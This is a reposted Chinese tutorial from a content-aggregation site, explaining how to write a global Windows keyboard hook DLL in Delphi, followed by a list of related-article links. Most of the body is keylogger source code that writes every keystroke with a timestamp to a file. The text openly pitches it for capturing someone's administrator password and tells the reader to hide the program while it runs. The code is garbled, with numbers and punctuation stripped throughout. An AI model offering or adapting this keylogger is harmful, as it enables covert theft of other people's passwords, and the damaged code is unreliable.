知识大全 Delphi编程使用HOOK监视Windows

Posted 消息

篇首语:天行健,君子以自强不息。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 Delphi编程使用HOOK监视Windows相关的知识,希望对你有一定的参考价值。

Delphi编程使用HOOK监视Windows  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

每个程序都有自己的生存空间 在Windows系统中你可以在任何时候让你的程序执行一些操作 还可以触发消息 触发的消息分为三种 一是操作你程序的界面 onClick onMouseMove等等 另外一个可以使用Windows的消息机制来捕获一些系统消息 但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了 虽然还有其他方法 但不得不承认 HOOK是一个比较简单解决问题的途径     下面就来举个例子(使用Delphi 调试通过)     如果你需要访问某个人的机器 那在运行\\\\SB之后那个人就会在你机器上敲入他的adminsitrator密码 当然 你也可以使用黑客工具来得到他的密码 但是 为什么不自己尝试一下写个程序记录所有的键盘操作呢?    首先需要申明一点 Hook不同于一般的应用程序 需要作为一个全局DLL出现 否则无法在你程序不激活的状态捕获其他信息的 (当然你可以用Windows消息 这个问题不在这里讨论)     写个DLL定义一下函数    function setkeyhook:bool;export;  function endkeyhook:bool;export;  procedure keyhookexit;far;  procedure SetMainHandle(Handle: HWND); export;forward;  function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;    procedure EntryPointProc(Reason: Integer);  const  hMapObject: THandle = ;  begin  case reason of  DLL_PROCESS_ATTACH:  begin  hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT );  rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE );  end;  DLL_PROCESS_DETACH:  begin  try  UnMapViewOfFile(rHookRec);  CloseHandle(hMapObject);  except  end;  end;  end;  end;  procedure keyhookexit;far;  begin  if hNexthookproc<> then endkeyhook;  exitproc:=procsaveexit;  end;  function endkeyhook:bool;export;  begin  if hNexthookproc<> then  begin  unhookwindowshookex(hNexthookproc);  hNexthookproc:= ;  messagebeep( );  end;  result:=hNexthookproc= ;  MainHandle:= ;  end;    function Setkeyhook:bool;export;  begin  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandler HInstance );  result:=hNexthookproc<> ;  end;  function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  var  s:Tstringlist;  begin  if icode< then  begin  result:=CallNextHookEX(hNexthookproc icode wparam lparam);  exit;  end;  if lparam< then  begin  exit;  end;  s:=TStringlist Create;  if FileExists(afilename) then  s LoadFromFile(afilename);    //将敲打的键盘字符保存到文件中  s Add(formatdatetime( YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) );  s SaveToFile(afilename);  s Free;    result:= ;  end;    Dll的Project文件中定义如下    exports  setkeyhook index   endkeyhook index   SetMainHandle index ;    begin  hNexthookproc:= ;  procsaveexit:=exitproc;  DllProc := @EntryPointProc;  EntryPointProc(DLL_PROCESS_ATTACH);  end     这样DLL就定义好了 接下来就是画个界面     function setkeyhook:bool;external keyspy dll ;  function endkeyhook:bool;external keyspy dll ;  procedure SetMainHandle(Handle: HWND); external keyspy dll ;  //开始捕获键盘  SetMainHandle(handle);  setkeyhook  //中止捕获键盘  endkeyhook    然后吧你程序隐蔽起来 启动捕获键盘 在中止捕获之前 所有键盘操作都会被记录到你所定义的filename这个文件名中去 注 这些代码是临时写的 仅是为了说明如何写个hook程序     另外Hook的功能不仅仅是简单使用 这就需要靠大家灵活运用了 可以跟很多windows API来配合 通过很多技巧作出让人意想不到的效果 cha138/Article/program/Delphi/201311/24671

相关参考

知识大全 利用Delphi全面控制Windows任务栏[2]

利用Delphi全面控制Windows任务栏[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&

知识大全 利用Delphi全面控制Windows任务栏[1]

利用Delphi全面控制Windows任务栏[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&

知识大全 用Delphi实现Windows文件夹管理树

用Delphi实现Windows文件夹管理树  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  摘要

知识大全 Windows 中不规则窗体的编程实现

Windows中不规则窗体的编程实现  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  Window

知识大全 通过DELPHI小程序在WINDOWS下更好地使用DOS批处理

通过DELPHI小程序在WINDOWS下更好地使用DOS批处理  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来

知识大全 C#的Windows编程中多语言的实现

C#的Windows编程中多语言的实现  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  实现多语言

知识大全 Raw Socket编程实现网络封包监视

RawSocket编程实现网络封包监视  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  谈起soc

知识大全 Delphi拖放编程[2]

DELPHI基础教程:Delphi拖放编程[2]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  

知识大全 Delphi拖放编程[1]

DELPHI基础教程:Delphi拖放编程[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  

知识大全 Delphi拖放编程[4]

DELPHI基础教程:Delphi拖放编程[4]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!